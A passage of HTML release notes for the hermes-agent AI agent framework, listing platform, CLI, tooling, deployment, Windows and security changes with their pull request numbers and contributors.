data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: propagate <code>role_authorized</code> so <code>DISCORD_ALLOWED_ROLES</code> works end-to-end; recover from runtime gateway task exits; cancel <code>_bot_task</code> on connect failure; stop typing after replies (<a href="https://github.com/NousResearch/hermes-agent/pull/43327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43327/hovercard">#43327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44383" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44383/hovercard">#44383</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44432/hovercard">#44432</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44836" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44836/hovercard">#44836</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: scope top-level channel messages when <code>reply_in_thread=false</code>; thread approval UX (block-size overflow + typed-prefix); make video attachments available to agents; <code>register_slack_action_handler</code> plugin API (<a href="https://github.com/NousResearch/hermes-agent/pull/41703" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41703/hovercard">#41703</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43444" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43444/hovercard">#43444</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45512/hovercard">#45512</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44664" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44664/hovercard">#44664</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Replied-to media attachments included; document attachments classified as DOCUMENT on Signal/Email/SimpleX/Teams; WhatsApp restarts stale bridge processes; Matrix room-context isolation; QQbot CPU-spin fix; Weixin rate-limit circuit breaker (<a href="https://github.com/NousResearch/hermes-agent/pull/46107" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46107/hovercard">#46107</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44695" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44695/hovercard">#44695</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44205" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44205/hovercard">#44205</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/18505" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18505/hovercard">#18505</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40574" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40574/hovercard">#40574</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41718" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41718/hovercard">#41718</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/banditburai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/banditburai">@banditburai</a>)</li>
</ul>
<h2>🖥️ CLI, TUI &amp; Setup</h2>
<ul>
<li><code>/version</code> slash command; <code>/billing</code> interactive terminal billing (TUI + CLI); show time since last final agent response on the status bar; persist resolved approval/clarify prompts in scrollback (<a href="https://github.com/NousResearch/hermes-agent/pull/40214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40214/hovercard">#40214</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45449/hovercard">#45449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44265" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44265/hovercard">#44265</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44702/hovercard">#44702</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Lock hermes worktrees so concurrent processes can't clobber them; display custom profile alias names in list/show; clone profiles from any source (<a href="https://github.com/NousResearch/hermes-agent/pull/48699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48699/hovercard">#48699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40371/hovercard">#40371</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45630/hovercard">#45630</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Opt-in structured profile-build path on first contact; configurable per-platform system-prompt hints; configurable background memory/skill notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/41114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41114/hovercard">#41114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48630/hovercard">#48630</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47226/hovercard">#47226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>TUI: interactive Plugins Hub enable/disable overlay; session name in the terminal titlebar; paint approval/clarify/sudo/secret modals directly (not via throttle); wrap long approval commands instead of truncating (<a href="https://github.com/NousResearch/hermes-agent/pull/42965" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42965/hovercard">#42965</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43188/hovercard">#43188</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41155/hovercard">#41155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44691/hovercard">#44691</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>TTS: Gemini persona prompts + audio tags; xAI auto speech tags + speed/streaming knobs; Piper speaker_id; OGG for Telegram auto-TTS (<a href="https://github.com/NousResearch/hermes-agent/pull/43442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43442/hovercard">#43442</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49061" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49061/hovercard">#49061</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49062" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49062/hovercard">#49062</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49060/hovercard">#49060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41644" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41644/hovercard">#41644</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li><strong>image-to-image / editing</strong> in <code>image_generate</code> across all backends; shrink images to provider dimension limit (<a href="https://github.com/NousResearch/hermes-agent/pull/48705" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48705/hovercard">#48705</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45979" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45979/hovercard">#45979</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MCP: official <strong>Unreal Engine 5.8</strong> MCP server in the catalog; <strong>elicitation handler</strong> so MCP servers can prompt for mid-tool-call confirmation (payment/OAuth) on whichever surface owns the session — CLI/TUI/Telegram/Slack; expose late-connecting MCP tools to the agent between turns (cache-safe); keepalive ping for short-TTL HTTP sessions; block exfil-shaped / suspicious stdio configs before probe; capability-gate <code>tools/list</code> so prompt-only servers connect; preserve stdio argv passthrough + Windows env vars (<a href="https://github.com/NousResearch/hermes-agent/pull/48397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48397/hovercard">#48397</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49203/hovercard">#49203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49208" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49208/hovercard">#49208</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49221" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49221/hovercard">#49221</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46083/hovercard">#46083</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44550" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44550/hovercard">#44550</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44324" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44324/hovercard">#44324</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lgalabru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lgalabru">@lgalabru</a>)</li>
<li>Skills: <code>simplify-code</code> skill (parallel 3-agent code review &amp; cleanup) + risk-tiered application with Chesterton's Fence; find &amp; diff user-modified bundled skills; optional <strong>payments</strong> skills (Stripe Link, MPP, Projects); CLI-based shop skill; live per-source browse progress (<a href="https://github.com/NousResearch/hermes-agent/pull/41691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41691/hovercard">#41691</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49070" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49070/hovercard">#49070</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48286/hovercard">#48286</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31343" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31343/hovercard">#31343</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47309/hovercard">#47309</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43398/hovercard">#43398</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colinwren-stripe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colinwren-stripe">@colinwren-stripe</a>)</li>
<li>Curator: make skill consolidation opt-in (prune stays default-on) (<a href="https://github.com/NousResearch/hermes-agent/pull/47840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47840/hovercard">#47840</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Plugins: install from a subdirectory within a repo; accept browser-pasted GitHub URLs in <code>hermes plugins install</code>; <code>session:compress</code> lifecycle event + <code>thread_id</code>/<code>chat_type</code> in agent:start/end context (<a href="https://github.com/NousResearch/hermes-agent/pull/42963" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42963/hovercard">#42963</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33539" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33539/hovercard">#33539</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47252/hovercard">#47252</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41672" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41672/hovercard">#41672</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Memory/skill <strong>write approval</strong> gate (default off) — boolean <code>write_approval</code> replaces the tri-state <code>write_mode</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/38199" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38199/hovercard">#38199</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43354" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43354/hovercard">#43354</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🌐 Fleet, Relay &amp; Automation</h2>
<ul>
<li><strong>Managed scope</strong> — administrator-pinned, user-immutable config &amp; secrets from a root-owned <code>/etc/hermes</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/49098" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49098/hovercard">#49098</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Multiplex all profiles over one gateway process</strong> (opt-in) (<a href="https://github.com/NousResearch/hermes-agent/pull/48273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48273/hovercard">#48273</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Pluggable CronScheduler</strong> + Chronos managed-cron provider (scale-to-zero) (<a href="https://github.com/NousResearch/hermes-agent/pull/48275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48275/hovercard">#48275</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Automation Blueprints</strong> — parameterized automation templates across every surface (<a href="https://github.com/NousResearch/hermes-agent/pull/41309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41309/hovercard">#41309</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway-Gateway relay (phases 0-3): relay adapter + capability descriptor, connector⇄gateway channel auth + signed-HTTP inbound + enroll CLI, WS-only inbound, managed-boot self-provision client (<a href="https://github.com/NousResearch/hermes-agent/pull/48078" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48078/hovercard">#48078</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48147/hovercard">#48147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48294" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48294/hovercard">#48294</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48242" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48242/hovercard">#48242</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🐳 Docker, Nix &amp; Installer</h2>
<ul>
<li>s6: detect supervisor directly for gateway restart; register profile gateways without auto-starting; persist desired state; clear stale log locks (<a href="https://github.com/NousResearch/hermes-agent/pull/46290" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46290/hovercard">#46290</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46266" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46266/hovercard">#46266</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46292/hovercard">#46292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46289/hovercard">#46289</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Docker: optimize image size (.dockerignore, drop dev deps, split layers); pre-install matrix deps; supervised gateway uses <code>--replace</code>; harden hosted install tree against self-modification (<a href="https://github.com/NousResearch/hermes-agent/pull/38749" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38749/hovercard">#38749</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42413/hovercard">#42413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47555/hovercard">#47555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47490" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47490/hovercard">#47490</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Nix: cold npm build fixes + auto-fix-lockfiles workflow; hashless npm deps via <code>importNpmLock</code>; refresh npmDepsHash after Electron 40.10.2 pin (<a href="https://github.com/NousResearch/hermes-agent/pull/41867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41867/hovercard">#41867</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48883/hovercard">#48883</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48457/hovercard">#48457</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Installer: clear unmerged git index before autostash; scope install-method stamp to the code tree (<a href="https://github.com/NousResearch/hermes-agent/pull/45515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45515/hovercard">#45515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48188/hovercard">#48188</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Fail closed on own-policy gateway adapters; fail closed for approval-button auth on Slack/Feishu/Discord when no allowlist is set (<a href="https://github.com/NousResearch/hermes-agent/pull/45634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45634/hovercard">#45634</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41226/hovercard">#41226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Redact secrets in request debug dumps; withhold host metadata from public status; block exfil-shaped / suspicious MCP stdio configs before probe (<a href="https://github.com/NousResearch/hermes-agent/pull/46637" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46637/hovercard">#46637</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45642" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45642/hovercard">#45642</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46083/hovercard">#46083</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Close shell-escape denylist bypass + fail-closed on missing approval module; scrub operator environment before launching cua-driver MCP; sanitize env for cron job-script subprocesses; bound TodoStore content length/count; scan REST cron prompts for parity with the agent tool (<a href="https://github.com/NousResearch/hermes-agent/pull/40591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40591/hovercard">#40591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48423" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48423/hovercard">#48423</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49207" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49207/hovercard">#49207</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41648" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41648/hovercard">#41648</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41335" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41335/hovercard">#41335</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Bump urllib3 and PyJWT to clear CVEs; Langfuse redacts base64 data URIs instead of truncating into invalid base64 (<a href="https://github.com/NousResearch/hermes-agent/pull/40179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40179/hovercard">#40179</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43322" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43322/hovercard">#43322</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🪟 Windows</h2>
<ul>
<li>Dashboard <code>/chat</code> tab via ConPTY (<code>win_pty_bridge</code>) + tests; resolve PowerShell host instead of bare <code>powershell</code> for uv install; resolve <code>powershell.exe</code> by absolute path so Desktop install doesn't stall (<a href="https://github.com/NousResearch/hermes-agent/pull/42251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42251/hovercard">#42251</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48341" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48341/hovercard">#48341</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40927" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40927/hovercard">#40927</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Repair stale winget registration + refresh/merge PATH; kill hermes before recreating venv to release <code>_bcrypt.pyd</code> lock; read HERMES_HOME from the registry when env is stale; quarantine running <code>hermes.exe</code> during update repair (<a href="https://github.com/NousResearch/hermes-agent/pull/44084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44084/hovercard">#44084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45120/hovercard">#45120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46772/hovercard">#46772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40409" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40409/hovercard">#40409</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>JOB-breakaway watcher reliability + status --deep probes; handle Windows PTY stdin + detached WS frames; decode subprocess output as UTF-8; confirm-modal on native Windows (<a href="https://github.com/NousResearch/hermes-agent/pull/40909" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40909/hovercard">#40909</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41953/hovercard">#41953</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44328" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44328/hovercard">#44328</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42419/hovercard">#42419</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🐛 Notable Bug Fixes</h2>
<ul>
<li>Percent-encode non-ascii URL components; sanitize <code>:</code> in FTS5 queries so colon searches don't silently return empty (<a href="https://github.com/NousResearch/hermes-agent/pull/41430" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41430/hovercard">#41430</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40653" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40653/hovercard">#40653</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
